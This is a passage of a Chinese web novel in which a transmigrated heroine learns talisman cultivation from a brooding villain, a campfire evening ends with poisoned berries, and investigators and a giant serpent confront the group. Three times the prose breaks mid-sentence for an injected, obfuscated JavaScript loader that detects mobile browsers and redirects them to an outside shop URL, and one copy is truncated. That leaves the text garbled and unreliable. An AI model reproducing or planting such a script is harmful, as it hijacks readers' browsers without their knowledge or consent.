应逢怜目光扫过那颗灵气氤氲的丹药,发现的确品相不俗,却只是淡淡道:“于我无用,你服用了便是。” 颜悬昭闻言,也不多推让,立刻将丹药收回,小心翼翼地藏进贴身锦囊里,动作流畅自然。 她心里暗自庆幸:要不是为了刷好感度,这等宝贝她才舍不得拿出来呢。既然他不要,那正好让她留着以备不时之需,说不定关键时刻能保她一条小命。 【宿主收收你喜滋滋的表情吧,算盘珠子都崩我脸上了。】系统适时提醒道。 颜悬昭赶紧揉了揉脸颊,压下微微上扬的嘴角,还不忘偷偷瞥了眼应逢怜,见他已重新闭目养神,并未留意她的神色,这才松了口气。 “昭昭姐!”冯念之清脆的声音传来。 她不知何时烤好了肉,正端着一片宽大的芭蕉叶走来,叶子上整齐码放着烤好的肉片,兴致勃勃地递到他们面前:“快尝尝我的手艺!” 烤肉被细心切成适口的大小,外皮烤得金黄微焦,表面在滋滋冒油,上面还淋着浆果调制而成的红色酱汁,焦香混合着酸甜的果香扑鼻而来。 虽然看着很美味,但颜悬昭一想到这是狮身熊身上的肉就顿感胃口全无,但迎着冯念之期待的目光,她还是硬着头皮拈起了一小块送入嘴中。 入口的刹那,肉汁混合着奶香的油脂在嘴中爆开,酸甜的果酱又恰到好处地中和掉了油腻,为烤肉增添了一股别样的风味。 颜悬昭眼睛一亮,由衷赞叹:“这也太好吃了吧!” 冯念之得意地扬起下巴:“这可是我的独门秘方!”说着又将芭蕉叶往应逢怜面前递了递:“颜公子也尝尝吧,多吃些对恢复元气有好处的。” 颜悬昭心里一咯噔。 以应逢怜那挑剔的性子,不愿吃的东西绝不会勉强自己,恐怕不会像她这样配合。 颜悬昭有些紧张地注视着应逢怜的反应,果不其然这家伙盯着眼前的烤肉蹙了蹙眉,半晌不见动作。 “颜公子?”冯念之举着叶子,语气有些困惑。 气氛一时有些凝滞。颜悬昭连忙扯了扯他的衣袖,小声劝道:“真的很好吃,你就尝一口嘛……” 在她的催促下,应逢怜这才慢条斯理地拈起最小的一片,刻意避开了有酱料的部分,轻轻咬了一角。 在两人期待的目光中,他细细咀嚼片刻,才吝啬地吐出两个字:“尚可。” 颜悬昭如释重负,赶紧打圆场:“他嘴巴可挑了,能得他一句‘尚可’,那绝对是顶级美味了!” 冯念之顿时眉开眼笑,将剩下的烤肉放在他们面前的石头上:“那我再去烤些,你们慢慢吃,不够还有!”说完便蹦蹦跳跳地返回篝火旁,全然看不出下午曾受过伤。 “年轻人恢复得就是快。”颜悬昭望着她的背影感慨。 “我不明白。”应逢怜突然开口。 颜悬昭疑惑地回过头:“不明白什么?” 月光透过树影洒落,应逢怜幽深的眼眸折射着冷冷的月华,苍白的脸隐于暗影处,像晚间于丛林里诱惑旅人的幽灵鬼魅。 “你明明不想吃那盘烤肉,为什么还是勉强自己去吃?”他继续道,语气清冷。 颜悬昭觉得这问题有些莫名其妙:“这是基本的人情世故啊。人家一片好心,满怀期待地请你品尝,若直接拒绝,岂不让人失望?” “别人的感受很重要吗?比你自己的感受还重要吗?”应逢怜问道,他的语气不是反问,反而带着一种不通人情世故的困惑。 这话让颜悬昭一时语塞。某种怪异的熟悉感掠过心头。她却不知从何答起,只能道:“这是两码事。大家都吃了,唯独你不吃,就会显得格格不入。尝试一下又没什么损失,要学会看气氛,不要做个不合群的怪人……” “你在讨好他们。”应逢怜打断她,语气笃定,言语锐利:“你总是想让所有人喜欢你,伪装着去讨好每个人。” “我没有!”颜悬昭下意识反驳,话出口后却发现自己找不到更有力的论据。 应逢怜依旧冷冷地看着她,那目光仿佛能穿透她的皮肤,反复地在她的骨肉里审判着、凌迟着。这种无所遁形的感觉让她难堪得几乎无地自容。 她低着头,声音越来越小:“我只是……不想让别人的期待落空,我不想让别人难堪……难道这也有错吗?” 忽然,她猛地抬起头,月光的折射让她的眼睛看起来似乎带了一层隐隐的泪光:“你清高,你有原则,从不讨好任何人。可你明明也不想吃,为什么最后还是迁就着吃了?” 说完,她好像耗干了所有勇气一般,不敢再看应逢怜,朝着篝火的方向落荒而逃。 应逢怜没有说话,静坐在原地目送着她背影的远去。 随着她的离去,最后一点月光似乎也被带走,他整个人彻底隐没在树影的黑暗中。 他低头看着面前几乎未动的烤肉,许久,抬手轻轻按上心口。 ——可你明明也不想吃,为什么最后还是迁就着吃了? 他也不知道为什么。 不知道为什么,他莫名地不想让她的期待落空。 ————— 【宿主,你不去反派身边和他独处增进感情,来这边做什么?】系统催促着她。 颜悬昭直接屏蔽了系统的话,她现在暂时不想面对应逢怜,选择留在篝火旁与衡遂他们待在一起。 “娘子不邀请颜公子过来同坐吗?”衡遂看了一眼不远处独坐在树下的应逢怜,善意地提醒道。 “他不喜欢热闹。”颜悬昭摆了摆手,“让他自己静坐着调息一会吧。” 衡遂闻言了然地点点头,不再多劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517283|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “昭昭姐,烤肉!”冯念之端着新烤好的肉分发给众人,又转到她面前。 颜悬昭下意识要接,脑海中却突然闪过方才与应逢怜的对话。 她收回了手,讪讪道:“不用了,我吃不下了。” 说话间,她小心观察着冯念之的神色,见对方并未露出失望,只是自然地点头,将肉递给下一个人,心里悄然地松了口气。 其实,拒绝也没这么难。 颜悬昭的脑海里猝不及防地浮现这样一句话。 一阵掌声响起唤回了颜悬昭的注意力。 分发完烤肉的冯念之站到了中央拍掌唤起大家都注意力:“大家伙!我宣布篝火晚会,现在正式开始!接下来是第一项节目——飞花令!让衡遂师兄为我们解读游戏规则!” “好!!” 众人纷纷喝彩,一下子让场面热闹了起来,倒真有了那么几分晚会的氛围。 飞花令无非是一种别样的诗词接龙,颜悬昭多多少少有所了解,但她这个诗词储备有限的现代人,自然比不上这些自幼浸淫其中的人,几个回合便败下阵来,只能在一旁观战。 看着他们玩得面红耳赤,抓耳挠腮的样子,颜悬昭不自觉地露出了笑意,但看久了,不免也有种置身事外的无聊和脱离感。 到了后半程,好好的飞花令游戏不知怎地变成了论道大会,一个个唇枪舌剑,争得你来我往,好不激烈,但苦了颜悬昭这个“道盲”是一点也听不懂,听得她昏昏欲睡。 即便如此,她仍不愿离开。起码参与其中,热闹里是有她一份的,不像那个应逢怜自己孤独寂寞冷地坐在树下看他们热闹吧! 颜悬昭阴暗地揣测着应逢怜正为着自己的不合群而感到懊悔落寞,只能嫉妒地看着他们玩闹。 想着想着,她忍不住回头看了一眼应逢怜,发现他仍在树下打坐调息,丝毫没有受到这边干扰,还有那么几分怡然自得。 她忽然有些沮丧:看来,庸人自扰的始终只有她一人。 “昭昭姐,你说我和三师弟谁说的在理?”冯念之突然将她拉入战局。 “明明是你强词夺理!应娘子,你来评评理……”三师弟也不甘示弱。 颜悬昭被两人夹在中间,听着完全不懂的争论,只能含糊其辞地打着圆场。 好不容易调解完这一对,又被另一对拉去当“裁判”。几番下来,她只觉社交能量彻底耗尽。 瞅准一个空隙,她连忙抽身,从火堆中取了根燃烧的木柴当作照明的火把,回到了应逢怜身边。 “一直待在这里不黑不冷吗?”她鼓足勇气开口,决意先行“破冰”。 应逢怜缓缓抬眼,问道:“不继续跑去和他们待着,反而来我这里,不怕被当成不合群的怪人了吗?” 听他肯回应,颜悬昭心下稍安,至少他没有计较先前的争执。 她没理会他的阴阳怪气,像是自我释怀了般:“也许吧。更何况,不是还有你这个奇怪的人在吗?” 她看着他,火光映亮了她的笑意盈盈的眉目:“我们两个奇怪的人待在一块儿就不奇怪了。” 应逢怜看着她,愣住了。 火把的火光在她的眼里跳动着,融融火焰如涌动的碎金照亮了树下这方狭小天地。 25. 成为符修 应逢怜仿佛被火光灼伤了眼睛般,猛地收回了视线。 “该修炼了。”他的声音略显急促,有些刻意地岔开方才的话题,“你今日还未打坐调息。” 颜悬昭这才想起这桩要紧事,连忙一把拉住应逢怜的手腕:“走。” 应逢怜扯住了她,蹙了蹙眉:“去哪?” 颜悬昭眨了眨眼,语气理所当然:“去找个隐蔽的地方修炼啊。这林子附近总该有个山洞什么的吧?” “在此处便可修炼,为何要另寻他处?”应逢怜不能理解她的想法。 颜悬昭警惕地环顾四周,在确认衡遂等人都在远处说笑后,她才凑到应逢怜耳边,压低声音道:“我们不是要修习魔功吗?不得避着点人?要是被他们发现了可怎么办?” 看着她这副鬼鬼祟祟,好似做贼的模样,应逢怜忽然觉得有些好笑。幂篱下的唇角微不可察地扬起:“不必。我教你的,是正经的修仙之法。” “咦?”颜悬昭睁大了眼睛,满脸不可思议。这个答案是她没想到的,她一直以为应逢怜教她的是修魔的法子。 “打坐调息吧。”应逢怜不给她思索的时间,径直吩咐道,“先静心感受天地灵气,将其引入体内,运转两个小周天。若能顺利引气入体,不出几日你便可尝试筑基了。” 颜悬昭依言盘膝坐下,闭上双眼,试图像应逢怜所说的那样用意念去感知环绕在周围的那些灵气。 静下心来,她一下子感受到了平日里忽略掉的很多东西:草木的清幽气息、晚风带来的微凉水汽,耳边窸窣的虫鸣……可就是没有感受到那玄之又玄的“灵气”。 时间一点点流逝,她依旧一无所获。她好像天生对灵气不甚敏锐,无法抓住那种飘渺的感觉,心绪不由得浮躁了起来,杂念如潮水般涌来,让她难以静心。 修炼比她想象中要难得多,没有天资,再努力也是白费。 她烦躁地睁开眼,却见身旁的应逢怜气息平稳,显然已进入了物我两忘之境。一股浓重的沮丧瞬间淹没了她。 “怎么了。”应逢怜不知何时睁开了眼,语调毫无波澜。 “应逢怜,”颜悬昭闷闷不乐地说道,“要不你还是教我修魔吧。我可能真的不是修仙的料。我已经很努力了,却连一丝灵气都感受不到……” “颜悬昭,在你眼里修魔就是个轻松的捷径吗?”应逢怜冷笑道,“修魔虽然可以一日千里,但魔气不同于灵气,它霸道无比,你要时刻提防着它的暴走,稍有不慎就会爆体而亡。” 他顿了顿,声音忽然低沉下来:“还有……你想知道什么是真正的走火入魔吗?” 应逢怜的瞳孔在暗夜里陡然放大,带着强烈的非人感直直望向颜悬昭的身后。 “你将与心魔共生。它如影随形,时刻准备将你拖入它制造的幻境。狂妄的欲念如海啸般随时将你吞没,让你分不清虚实。只要你稍一松懈,它便会如约而至,将你彻底吞噬、取代。” 颜悬昭下意识地回头望去,身后空空如也,却让她脊背发凉。 待她回过头,应逢怜的瞳眸又恢复了正常的模样,他冷淡地下了个最终结论:“总之,不是走投无路就别打修魔的主意。” 颜悬昭罕见地沉默了,应逢怜原以为她被自己的一番话吓到了还没回过神,却不料下一秒听到她轻声道:“那你一定很疼吧。” 这句话问得没头没尾,应逢怜却意外听懂了。 他微微一怔,下意识回道:“还好。” “怎么可能还好?”颜悬昭不相信,“你一定是经历过很多次,才会记得那么深刻。” 应逢怜不知道怎么回答,因为从来没有人关心过他这个问题。 疼吗? 疼,真的很疼,抽皮扒骨、痛不欲生,仿佛有千万只蚂蚁在啃噬他的经脉。那些魔气暴走的夜晚,他全靠滔天的恨意才能熬过那些凌迟般的痛楚。 可是疼说出去有什么用呢?无人会在意,反倒成为软弱的证明。何必让人知晓,倒不如化为一句粉饰太平的“还好。” 他垂眸,掩去眼中所有的情绪:“还要不要修炼了?不要说些不相关的废话。” “要的要的!”颜悬昭立刻端正坐好,虚心求教道,“可是修仙不是讲求机缘和天赋吗?我感觉我不大有这方面的天赋,否则我那便宜老爹就不会这么随随便便地舍弃我了。” 她掰着手指点着:“当剑修,我舞不动剑;当体修,我没这么好的体魄:当丹修,我好像也不怎么通药理……” 眼见着她越说整个人越丧,简直快原地化成一滩扁扁的泥游走。 “当符修。”应逢怜打断她,一锤定音,“你在画符方面很有天赋。” 颜悬昭顿住了,迟疑道:“真的假的?我学一个符文要学上好久呢……你不会用什么‘善意的谎言’安慰我吧。” “爱信不信,我从不安慰人。”应逢怜语气冷漠,不肯再多说一句。 颜悬昭想了想,应逢怜向来是个“狗嘴吐不出象牙”的货色,更别提说谎去安慰人了……那肯定就是真话了。 得到了认可,她一下子又恢复了动力,干劲十足:“好,那我就走符修的路子!快再教教我怎么引气入体!” 应逢怜无奈地叹了口气,在她身后盘膝坐下。他将双掌轻轻贴在她的背心,开始将内力中附着的魔气一丝丝剥离,转化为温和的灵气缓缓注入她的体内,引导她感受着灵气在经脉间的流转,试图以这个方式点拨她在灵气上的感悟。 将精纯的魔气转化为温和的灵气,对他而言不仅极为耗神,更是毫无益处。这完全违背了他一贯的行事准则。 自颜悬昭出现以来,他已为她破了太多例。允许她跟在身边,教她修炼之法,如今更是做出这种吃力不讨好的事。这种改变让他隐隐感到不安,仿佛有什么正在脱离掌控。 颜悬昭起初还有些不适,但在应逢怜的引导下渐渐习惯了起来。她闭着眼睛,全神贯注地感受着灵气在体内的流动。 这是一种很奇妙的感觉,仿佛干涸的土地终于等来了甘霖泽被,枯竭的土壤缝隙里涌翻滚着汩汩的生机。 “咦,我好像有点感觉了!”她忽然兴奋地低呼,声音里带着难以置信的喜悦,“快多给我传些!” 应逢怜依言加大了灵气输送,同时细心控制着度,生怕伤到她脆弱的经脉。他能感觉到她的身体正在慢慢适应,并开始自主吸纳着灵气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537757|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在应逢怜的耐心引导下,颜悬昭渐渐摸到了门道。她开始尝试自行吐纳天地灵气,虽然还很生涩,但已经能够引导灵气在体内缓缓运转。 月光洒在她专注的侧脸上,勾勒出柔和的轮廓。应逢怜看着她专注的神情,眼中的情绪晦暗不明。 颜悬昭你最好发挥出你的价值,不要辜负我的投入,否则…… 我会毫不留情地舍弃你。 ———— 当颜悬昭再次睁眼时,已是星斗满天,夜露沾湿了她的眉梢发丝。她轻轻吐出一口浊气,只觉得浑身舒畅,仿佛卸下了千斤重担。 不知不觉间,她竟入定了数个时辰。远处的篝火已经小了许多,只剩下零星的火光在夜色中闪烁。虽一夜未眠,她却感觉神清气爽,五感都比以往敏锐了许多,整个人容光焕发。 这就是修炼的好处吗?她新奇地活动了下手脚,只觉得浑身充满了力量。 她第一时间寻找应逢怜的身影,却发现他不在原处。目光在营地中扫视一圈,最终在将熄的篝火旁找到了他。 她走了过去,发现他正查看着地上吃剩的烤肉。而衡遂等人个个面色酡红,神志不清、七扭八歪地躺在地上。 颜悬昭吃惊道:“他们喝醉了吗?这也没酒啊……难道是中毒了?” 应逢怜用指尖抹起一点烤肉上的红色酱汁,轻轻捻了捻,又放在鼻尖轻嗅了片刻,得出结论:“他们摘了迷梦果当酱汁,这种果子含有轻微的毒素,吃多了会产生类似醉酒的效果。” “迷梦果?”颜悬昭目瞪口呆,“那怎么办?会有危险吗?” “不必理会,”应逢怜神色自若,不以为意,“两个时辰后毒效自会解掉。只是会让他们做些光怪陆离的梦罢了。” 颜悬昭松了口气。 幸好没事。果然,路边的野果不要乱吃。好在她和应逢怜没怎么吃,要不然也要被毒倒了。 她正想跟着应逢怜离开,却看到冯念之正以一个扭曲的姿势躺在一块大石头上呼呼大睡着。 这姿势,估计宿醉醒了全身都得疼。 颜悬昭看不过眼,撸起袖子打算将她搬到一块相对平整的地方,换个舒服点的姿势。 她小心翼翼地扶起冯念之,这姑娘看着娇小,分量却不轻。颜悬昭费了九牛二虎之力,才勉强将她从石头上挪下来。 就在她扶着冯念之,一步步往旁边的空地挪动时,醉意朦胧的冯念之忽然含糊不清地低语:“师兄……别修无情道了……好不好……” 颜悬昭动作猛地一顿,险些把冯念之摔在地上。 能被冯念之称为师兄的,似乎只有…… 她将视线移向了不远处同样醉倒着的衡遂。 颜悬昭回想了一下衡遂平日里温润如玉,对待每个人都是笑脸相迎的模样,没有半点无情道仙君的样子,摇了摇头,觉得不是他。 不料下一秒,冯念之再度出声,眼角渗出了一滴晶莹的泪珠,声音还带上了隐隐的哭腔:“衡遂……你这块木头。” 不会吧……还真是! 颜悬昭的目光在他们二人间反复横跳,心中掀起了惊涛骇浪。 她好像发现了些不得了的秘密…… 26. 再遇辑尘司 天光渐白,晨雾在林间缓缓流淌,为目之所及皆披上一层朦胧的薄纱。晨鸟在枝头跳跃,发出空灵清脆的啼鸣,瞬间唤醒了沉睡的秘境。 在叽叽喳喳的鸟鸣声中,衡遂、冯念之等人陆续醒来,揉着惺忪的睡眼,对昨晚的失态浑然不知。 果然如应逢怜所说,他们体内的迷梦果毒素随着时间流逝已完全化解,只留下些许后遗症如同宿醉后的轻微头痛。不过对于衡遂他们这些修行之人而言,这点不适只需稍作调息便能缓解。 待众人都整顿完毕,衡遂取出一张秘境地图,在晨光下仔细研究。冯念之和一位师弟凑到他身旁,三人低声商议着行进路线,时不时在地图上指指点点。 颜悬昭见状,轻轻扯了扯身旁的应逢怜。 “喂,你觉不觉得念之对衡遂有意思?”她凑到他耳边,压低声音神秘兮兮地说。 然而,应逢怜对这种八卦不感兴趣,并不想理会她,但架不住颜悬昭一直缠着他要分享这个发现,不得已回应了句:“此话怎讲?” “你看啊,”颜悬昭煞有其事地分析道,“她总是主动找衡遂说话,态度特别亲热。” 应逢怜不以为然:“她对其他人也是如此。” “这不一样!”颜悬昭摇了摇头,“你要从她的潜意识和肢体语言来判断。念之分享见闻时总是下意识第一个找衡遂,和别人交谈时也会不自觉地离他更近一些。” 她指了指正在讨论的三人,“你看他们站在那儿说话,她是不是明显离衡遂更近?” 她越说越觉得自己的判断没错:“心理学上说,喜欢一个人就会忍不住地想要亲近对方。总之,就算不是喜欢,也一定是对衡遂有好感的!” 应逢怜没回应,颜悬昭疑惑地回头,却发现他没有看冯念之那边,而是直勾勾看着她。 她下意识摸了摸自己的脸:“一直看着我做什么?” 他默默收回了视线,一把推开了她近在咫尺的脑袋,语气嫌弃又冷淡:“你离我太近了”。 恰好在这时,衡遂等人也商讨好了,正朝他们走来。 “颜公子,”衡遂将展开的地图递到应逢怜面前,“根据你提供的镜月花特征,我已将可能生长的区域锁定在此处。” 他的指尖落在地图上用朱砂圈出的位置,随后沿着一条蜿蜒的路线划过,“从我们所在的位置出发,走这条路线最为便捷。若无意外,日落前应当能够抵达。” 应逢怜微微颔首:“有劳衡道长费心规划,我们便依此路线前行。” 见他没有异议,衡遂收起地图,转向众人朗声道:“诸位,我们即刻出发,务必在天黑前到达目的地。” 大家整装待发,在他一声令下后便即刻起身,踏着晨露,往着镜月花的方向出发。 ————— 这一路并不如颜悬昭想象中顺利。秘境中的魔物仿佛永远除之不尽,总有不长眼的从暗处窜出,将他们当作可口的猎物。 第一次遭遇突袭时,颜悬昭本能地想躲到应逢怜身后,却不料应逢怜动作更快,抢先一步闪到了她背后。 对上她不可置信的目光,他故作虚弱地咳嗽了两声,俨然一副柔弱不能自理的美娇夫形象。 颜悬昭:“……” 让我保护你,你的良心不痛吗? 无奈之下,颜悬昭只好硬着头皮举起符箓,和面前的魔物周旋起来。在生存的压力下,她对符箓的应用越发得心应手起来,渐渐摸索出一套适合自己的战斗方式。 所幸这些魔物都不如昨日的狮身熊难缠,衡遂等人应付起来游刃有余,还能分心照应她这边的战况。在他们的协助下,颜悬昭成功消灭了几只低阶魔物,顿时信心倍增。下一波魔物来袭时,她甚至主动挡在了应逢怜身前迎敌。 越靠近目的地,流窜的魔物就越多,虽然等级都不高,却也格外磨人。不仅严重拖慢了队伍前进的速度,还消磨了大家的体力。衡遂不得不下令在原地休息,让大家休整一番。 颜悬昭找了个树桩倚靠着坐下,服下冯念之递来的蕴灵丹,调息片刻后,枯竭的丹田终于重新感受到灵力的流转。 “我们离目的地还有多远啊?好累。”她揉着酸软的小腿,半是抱怨地问身旁的应逢怜。 应逢怜没有回答,身形不易察觉地绷紧,侧耳倾听着什么。见他神色有异,颜悬昭警惕地环顾四周,压低声音问道:“怎么了……” 话音未落,草丛里就跳出了一群白衣人,将他们团团围住。 衡遂等人立即起身,纷纷亮出法器,厉声喝问:“来者何人?” 白衣人们面色冷峻,形成严密的包围圈。为首之人踏步而出,亮出刻有鹰纹的令牌:“辑尘司。” 他的审视目光从衡遂他们面上一一扫过:“我等奉命追查逃犯,怀疑有魔修混入秘境,还请诸位配合排查。” 衡遂等人听见是“辑尘司”,稍稍放下了戒备,把武器收了起来。 “我等乃怀忧宗门下弟子,来此秘境试炼,并非魔修,还请各位明察。”衡遂亮出了宗门令牌,试图证明身份。 不料对面压根不信。 “口说无凭,焉知会不会有魔头乔装易容混入你们其中!”一位浓胡子的白衣人横眉竖眼,语气不善,拿出了个造型独特的仪器:“一个个排队上前来,将手放到仪盘上,检测魔气!” 虽然辑尘司也是秉公办案,但他们高高在上的轻蔑态度却让人感到颇为不适。 冯念之心直口快,忿忿道:“我们又不是犯人,凭什么这样审我们?” 浓胡子白衣人勃然大怒:“臭丫头……” 领队及时拦住他,冷声道:“多说无益。若有人不配合,我等只能视作魔族同党,一并拿下。” “罢了。”衡遂安抚着不满的师弟师妹,“我们行得正、坐得直,又何惧审查,配合各位大人便是。” 一直藏在他们身后的颜悬昭此刻手心不断地渗出冷汗。 辑尘司的人怎么会这么快追到这里,还找到了秘境中来……是发现了什么蛛丝马迹吗? 她悄悄看向自刚才起就异常沉默的应逢怜,不知他作何打算。 或许他早就知道辑尘司进入了秘境,这几日刻意绕路就是为了避开他们。答应与衡遂等人同行,说不定也是为了减轻嫌疑……然而还是被辑尘司盯上了。现在只能祈祷那个仪器检测不出应逢怜身上的魔气。 颜悬昭暗自思忖着,一边跟随队伍依次上前接受检测。 很快就轮到了她。 颜悬昭依照指示将手放在仪盘上,仪器没有任何反应。她自然知道自己不会被检出问题,但她真正担心的是身后的应逢怜。 “你可以了,下一个。”浓胡子粗声粗气道。 颜悬昭依言抽回手。 “等等。”白衣领队却拦下了她,目光在她脸上来回巡视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548039|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着几分审视:“我好像在哪里见过你……” 颜悬昭这才将注意力放到了首领身上,看清了他的面容。眼前人隐隐有些眼熟,颜悬昭在脑海里飞速搜寻着印象…… 完蛋了! 在想起来人的那刻,颜悬昭的脑海中警铃大作——此人这正是当时在云栖竹境盘问她的那个白衣人领队!! 真是冤家路窄。 颜悬维持住了面上的镇定,心里却在疯狂地祷告:千万不要认出我啊!我这个大众脸,忘了也很正常吧! 天总是不遂颜悬昭愿的。 “颜小姐。”白衣首领思索片刻后,笃定地说道。 “啊?你认错人了吧?”颜悬昭装傻充愣,打定了主意死不承认。 白衣领队却不吃这套,认定了她的身份:“我们在云栖竹境见过。” 衡遂等人困惑地看着他们,搞不清状况。 领队走到颜悬昭面前,仔细打量着她,说出的每一个字都如惊雷炸响:“可你不应该死在宋府的新婚夜了吗?为何会出现在这里……还加入了怀忧宗?” 三连拷问,打得颜悬昭一个措手不及。 还没等她思考出对策,他又话锋一转,直指她身后的应逢怜:“你身后的人又是谁?” 话还没说完,他突然拔剑攻向应逢怜,剑尖直指幂篱,意图挑开遮面的黑纱。 应逢怜反应极快,侧身避开剑锋,二指精准夹住剑身,止住了攻势。 领队不甘示弱,灵力灌注剑身猛地一震,抽回长剑再度攻去:“你是何人,为何要躲?” 应逢怜冷笑:“阁下一言不发就拔剑伤人,还不许人躲闪,这是什么道理?” 话不投机,白衣领队不再多言,加快攻势。短短几息间,两人已过了数十招,在场中快速移动,身影快到几乎看不清动作,只余残影。 浓胡子率先反应了过来,喝道:“没眼力见的!愣着干嘛,一起上啊!” 其余白衣人反应了过来,闻声而动,齐齐攻向应逢怜。 “诸位为何无故抓人!”衡遂试图阻止未果,当即拔剑:“师妹、师弟,拦住他们!” 冯念之等人纷纷祭出法器,与白衣人们缠斗在一起。 颜悬昭看着混战的场面心急如焚,却插不上手,只能握着剩余的符箓,伺机定住敌人。 她在背后偷偷补刀的行为很快被一个白衣人发现。对方一剑挑来,将她手中的符咒打得四散纷飞。 颜悬昭一惊,下意识去追逐飘散到草丛边的符箓,就在她伸手要够到符箓时,突然听见一阵诡异的“咝咝声”。 这诡异的声音让她头皮直发麻,心底涌起了一股浓重的不安。 就在此时,追击的白衣人已至,又一剑向她袭来,颜悬昭攥着符箓猛地向旁闪避。 白衣人一击落空,迅速调整姿势再次挥剑。冰冷的剑光映在她脸上,颜悬昭见避无可避,害怕地蜷缩起身子,紧闭双眼。 下一秒,凌厉的腥风擦过她的脸颊,紧接着传来一声凄厉的惨叫,混合着令人牙酸的骨骼碎裂声。 颜悬昭应声睁眼,映入眼帘的是泛着粼粼银光的蛇鳞。她顺着粗壮的蛇身向上望去,只见一条庞大到遮天蔽日的巨蛇挺立在林间,嘴里正叼着刚才追击她的白衣人,“嘶溜”一声就将人像面条般吸进了腹中。 吞完一个,它似乎还不满足,猩红的蛇瞳缓缓转向瘫坐在地的颜悬昭。 27. 巨蛇 在被巨蟒的猩红瞳眸锁定的那一刻,颜悬昭只觉得浑身血液都凝固了。 她与巨蛇之间的距离近到她可以清楚地看到那对竖瞳中倒映着她苍白的面容。冰冷的视线有如实质般压在她身上,让她腰部以下完全瘫软,连挪动一寸都做不到。 出乎意料的是,巨蛇只是漫不经心地瞥了她两眼,便兴趣缺缺地移开了视线,转而寻找其他更有趣的猎物。 在场众人这才从震惊中回过神来,方才还剑拔弩张的两拨人此刻都顾不得恩怨,纷纷转身,慌不择路地狼狈逃窜。可巨蛇像是顽劣的孩童戏耍蚂蚁般,没有追赶,而是悠然地抬起粗壮的尾巴,重重拍向地面。 “轰——” 巨大的力道使地面剧烈震动,地面霎时豁开一道狭长的巨口,乱石飞溅,狂暴的气浪将所有人掀翻在地。 它慢条斯理地游走上前,竖瞳咕噜噜地转着,打量了一番,从跌倒在地的人群中挑选出了一个合眼缘的猎物,鲜红的信子伸出一卷,便将那人送向自己的血盆大口。 被选中的白衣人挣扎着,不断地发出惨叫,却无法脱逃地被送到了巨蛇的嘴边。 “老朱!”浓胡子看到此情境目眦欲裂,眼看着同伴即将被巨蛇吞吃掉,他理智的弦瞬间被焦急和怒火烧断,抄起长刀就要冲上前去和巨蛇拼命。 领队立刻拦住了他,话语理智到几乎冷酷:“冷静,此魔物修为远在你我之上,不要冲动送死。” 浓胡子眼眶通红,嘶声吼道:“难道就眼睁睁看着老朱被它吃了吗?” 他狠狠推开领队的手,头也不回地冲向巨蛇,纵身跃起,长刀带着破空之声直斩蛇身七寸。 巨蛇头也不回,长尾一摆轻松地化解了他的攻击。刀锋狠狠擦过蛇身上的坚固鳞片,迸溅出一串激烈的火花,却只在蛇身上面留下了浅浅的白痕,没有伤到蛇的本体分毫。 浓胡子不死心,又跳上了巨蛇身上,将全身的修为灌注入手中的刀往蛇躯上狠狠一砍。巨蛇吃痛,猛地将身子一抖便将浓胡子甩出了几丈远。 浓胡子倒飞着撞断了两棵碗口粗的树木,喷出一口鲜血,跌倒在地。 “喀、喀……”他咳出喉头残血,以刀撑地,挣扎着想要站起。领队快步上前扶住他,语气严厉:“你再这般冲动,只会白白送命!” 就在此时巨蛇吐出了嘴中的人,将目光锁定在了浓胡子身上,张开血盆大口,露出锋利的獠牙向他们二人袭来。 领队反应极快,拽着浓胡子险险避开这一击,随即纵身跃上蛇头,与巨蛇缠斗起来。他的剑法精妙,每一剑都直取蛇眼等要害,部分白衣人见状停下了逃窜,上前配合着领队对巨蛇开展围剿。 奈何巨蛇太过敏锐狡诈,总能及时闪避他们对要害的攻击,而它躯干上的鳞甲又无比坚硬,始终无法对它造成严重的伤害。 眼看着他们丧生蛇口之下是早晚的事—— “师兄!”冯念之发现身旁的衡遂不见了,正直直向巨蛇冲去。 她急忙上前阻拦:“师兄,连辑尘司的人都奈何不了它,我们更不是对手,趁现在快走吧!” 衡遂却摇了摇头,神色坚定:“见死不救,非我辈所为。你带着师弟师妹先走,我来断后。” 冯念之咬了咬唇,眼中闪过一丝决绝:“既然如此,我与你一同救人!”她转头对身后的师弟师妹高声道:“三师弟,你和师妹带着东西先行离开,务必平安交予宗门!” 三师弟面露挣扎,但在衡遂严厉的目光和冯念之的催促下,最终还是护着师妹迅速撤离了战场。 衡遂与冯念之没有了后顾之忧,并肩冲向巨蛇,用攻击成功吸引到了巨蛇的注意力,为浓胡子等人争取到喘息之机。 巨蛇被他们绕得晕头转向,干脆故技重施,尾巴一抬,重重拍向地面,顿时又是一阵地震山摇。 